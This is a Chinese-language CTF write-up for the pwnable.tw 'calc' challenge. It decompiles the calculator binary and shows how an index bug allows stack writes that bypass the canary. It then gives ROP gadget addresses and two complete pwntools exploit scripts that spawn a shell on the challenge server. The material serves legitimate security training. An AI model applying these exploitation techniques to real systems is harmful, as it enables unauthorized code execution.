pwnable.tw calc
0x10 题目分析
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
calc函数:
unsigned int calc()
{
  int v1; // [esp+18h] [ebp-5A0h]
  int v2[100]; // [esp+1Ch] [ebp-59Ch]
  char s; // [esp+1ACh] [ebp-40Ch]
  unsigned int v4; // [esp+5ACh] [ebp-Ch]
  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(&s, 0x400u);
    if ( !get_expr(&s, 1024) ) //获取运算表达式
      break;
    init_pool(&v1); //清空结果集合
    if ( parse_expr(&s, &v1) ) //获取运算结果
    {
      printf((const char *)&unk_80BF804, v2[v1 - 1]); //打印结果unk_80BF804=%d
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v4;
}
Get_expr函数:获取运算符号:
int __cdecl get_expr(int a1, int a2)
{
  int v2; // eax
  char v4; // [esp+1Bh] [ebp-Dh]
  int v5; // [esp+1Ch] [ebp-Ch]
  v5 = 0;
  while ( v5 < a2 && read(0, &v4, 1) != -1 && v4 != '\n' )
  {
    if ( v4 == '+' || v4 == '-' || v4 == '*' || v4 == '/' || v4 == '%' || v4 > '/' && v4 <= '9' )
    {
      v2 = v5++;
      *(_BYTE *)(a1 + v2) = v4;
    }
  }
  *(_BYTE *)(v5 + a1) = 0;
  return v5;
}
init_pool函数
_DWORD *__cdecl init_pool(_DWORD *a1)
{
  _DWORD *result; // eax
  signed int i; // [esp+Ch] [ebp-4h]
  result = a1;
  *a1 = 0;
  for ( i = 0; i <= 99; ++i )
  {
    result = a1;
    a1[i + 1] = 0;
  }
  return result;
}
Parse_exp:
signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
  int v2; // ST2C_4
  int v4; // eax
  int v5; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int v7; // [esp+28h] [ebp-80h]
  char *s1; // [esp+30h] [ebp-78h]
  int v9; // [esp+34h] [ebp-74h]
  char s[100]; // [esp+38h] [ebp-70h]
  unsigned int v11; // [esp+9Ch] [ebp-Ch]
  v11 = __readgsdword(0x14u);
  v5 = a1;
  v7 = 0;
  bzero(s, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )
    {
      v2 = i + a1 - v5;
      s1 = (char *)malloc(v2 + 1);
      memcpy(s1, v5, v2);
      s1[v2] = 0;
      if ( !strcmp(s1, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      v9 = atoi(s1);
      if ( v9 > 0 )
      {
        v4 = (*a2)++;
        a2[v4 + 1] = v9;
      }
      if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      v5 = i + 1 + a1;
      if ( s[v7] )
      {
        switch ( *(char *)(i + a1) )
        {
          case '%':
          case '*':
          case '/':
            if ( s[v7] != '+' && s[v7] != '-' )
            {
              eval(a2, s[v7]);
              s[v7] = *(_BYTE *)(i + a1);
            }
            else
            {
              s[++v7] = *(_BYTE *)(i + a1);
            }
            break;
          case '+':
          case '-':
            eval(a2, s[v7]);
            s[v7] = *(_BYTE *)(i + a1);
            break;
          default:
            eval(a2, s[v7--]);
            break;
        }
      }
      else
      {
        s[v7] = *(_BYTE *)(i + a1);
      }
      if ( !*(_BYTE *)(i + a1) )
        break;
    }
  }
  while ( v7 >= 0 )
    eval(a2, s[v7--]);
  return 1;
}
Eval 函数:
_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
  _DWORD *result; // eax
  if ( a2 == '+' )
  {
    a1[*a1 - 1] += a1[*a1];
  }
  else if ( a2 > '+' )
  {
    if ( a2 == '-' )
    {
      a1[*a1 - 1] -= a1[*a1];
    }
    else if ( a2 == '/' )
    {
      a1[*a1 - 1] /= a1[*a1];
    }
  }
  else if ( a2 == '*' )
  {
    a1[*a1 - 1] *= a1[*a1];
  }
  result = a1;
  --*a1;
  return result;
}
当我们输入表达式:100+200时
程序流程是这样的:表达式初始化进入Parse_exp 中,会先进入分支结构中判断运算先后顺序,然后进入eval函数,此时表达式被放在s[v7]为操作符号,result为操作数,当碰到运算符号时被传入eval函数做为参数:
此时执行
initpool[] = {2,100,200}
s[v7] = operator = {"+"}
initpool[initpool[0]-1]=initpool[initpool[0]-1]+initpool[initpool[0]] = 300
initpool[] = {2,300,100}
Initpool-=1 ---->initpool[0] = initpool[0] -1 = 1
最终输出initpool[1+initpool[0]-1]=initpool[initpool[0]]
但当我们传入表达式+100时:
由于initpool = {1,100}
initpool[initpool[0]-1] += initpool[initpool[0]-1]+initpool[initpool[0]] = 101
initpool[0] = 101
initpool[0] = initpool[0] -1 = 100
最终输出initpool[initpool[0]] = initpool[100]
0x20 思路
程序开了Canary,不存在堆溢出,且为静态编译,我们只能想办法来泄漏Canary或者绕过Canary来写一些东西,而本程序没有溢出点,因此我们只能通过程序逻辑的问题绕过Canary直接修改返回地址
在本程序中,我们的栈结构是这样的:
a1------->ebp-0x5a0
.
.
.
.
canary
ebp-8
ebp-4
ebp
ret
在32位程序中一个字节4位,因此retaddr 在a1[0x5a0/4+1]的位置,也就是a1[361]的位置,通过修改这个地址的值来完成ROP
Getshell方法一:
布置syscall,调用execve

execve(/bin/sh,0,0)
eax 0xb
ebx /bin/sh
ecx 0
edx 0
int 80
因此我们要寻找gadget来控制这些:
pop eax, ret
pop ebx
pop ecx
pop edx
/bin/sh
int 80
0x0805c34b : pop eax ; ret
0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80
Payload 布置 由于没有/bin/sh我们只能控制他写入栈,然后泄漏一个栈地址来做
0 pop eax, ret
1 0xb
2 pop3 ret
3 0
4 0
5 sh_addr
6 int 80
7 /bin
8 /sh\x00
我们可以泄漏ebp的地方做为我们存放binsh字符串的地址,由于我们的参数,出栈,因此最后ebp的位置刚好为我们的参数地址,我们可以使用+360来泄漏这个地址,或者我们可以找一个bss段上的地址进行写入,因为程序没开启PIE,bss的地址是固定的

方法二:将__stack_prot改成0x7,接着构造ROP链,使其执行_dl_make_stack_executable<__libc_stack_end>(注意这里的__libc_stack_end在eax内),就能关闭NX保护,然后我们就利用jmp esp或者call esp劫持eip到栈上从而getshell
0x30 final exp
远端环境不稳定要多打几次
#/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
proc="./calc"
context.update(arch = 'x86', os = 'linux', timeout = 1)
elf=ELF(proc)
def change(addr,i):
	sh.sendline("+"+str(361+i))
	retaddr = int(sh.recvline())
	if addr-retaddr > 0:
		sh.sendline("+"+str(361+i)+"+"+str(addr-retaddr))
		retaddr = int(sh.recvline())
	else:
		sh.sendline("+"+str(361+i)+str(addr-retaddr))
		retaddr = int(sh.recvline())
def pwn(ip,port,debug):
	global sh
	if debug==1:
		context.log_level="debug"
		sh=process(proc)
	else:
		sh=remote(ip,port)
	pop_eax = 0x0805c34b
	pop3_ret = 0x080701d0
	int80 = 0x08049a21
	bin_sh = u32('/bin')
	bin_sh2 = u32('/sh\0')
	sh.sendlineafter("=== Welcome to SECPROG calculator ===\n","+360")
	mebp = int(sh.recvline()) & 0xffffffff
	log.info("stack:"+hex(mebp))
	change(pop_eax,0)	
	change(0xb,1)
	change(pop3_ret,2)
	change(0,3)
	change(0,4)
	sh.sendline("+"+str(361+5))
	retaddr = int(sh.recvline())
	sh.sendline("+"+str(361+5)+"-"+str(retaddr)+"-"+str(0x100000000-mebp))
	retaddr = int(sh.recvline())
	log.info("addr:"+hex(retaddr))
	change(int80,6)
	change(bin_sh,7)
	change(bin_sh2,8)
	gdb.attach(sh,"b *0x8049433")
	sh.interactive()
if __name__ =="__main__":
	pwn("chall.pwnable.tw",10100,1)
"""
0x0805c34b : pop eax ; ret
0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80
"""
远端:
#/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
import time
proc="./calc"
context.update(arch = 'i386', os = 'linux')
elf=ELF(proc)
context.log_level="debug"
def change(addr,i):
	sh.sendline("+"+str(361+i))
	retaddr = int(sh.recvline())
	if addr-retaddr > 0:
		sh.sendline("+"+str(361+i)+"+"+str(addr-retaddr))
		retaddr = int(sh.recvline())
	else:
		sh.sendline("+"+str(361+i)+str(addr-retaddr))
		retaddr = int(sh.recvline())
def pwn(ip,port,debug):
	global sh
	if debug==1:
		context.log_level="debug"
		sh=process(proc)
	else:
		sh=remote(ip,port)
	pop_eax = 0x0805c34b
	pop3_ret = 0x080701d0
	int80 = 0x08049a21
	bin_sh = u32('/bin')
	bin_sh2 = u32('/sh\0')
	sh.sendlineafter("=== Welcome to SECPROG calculator ===\n","+360")
	mebp = int(sh.recvline()) & 0xffffffff
	log.info("stack:"+hex(mebp))
	change(pop_eax,0)	
	change(0xb,1)
	change(pop3_ret,2)
	change(0,3)
	change(0,4)
	sh.sendline("+"+str(361+5))
	retaddr = int(sh.recvline())
	sh.sendline("+"+str(361+5)+"-"+str(retaddr)+"-"+str(0x100000000-mebp))
	retaddr = int(sh.recvline())
	log.info("addr:"+hex(retaddr))
	change(int80,6)
	change(bin_sh,7)
	change(bin_sh2,8)
	sh.interactive()
if __name__ =="__main__":
	pwn("chall.pwnable.tw",10100,0)
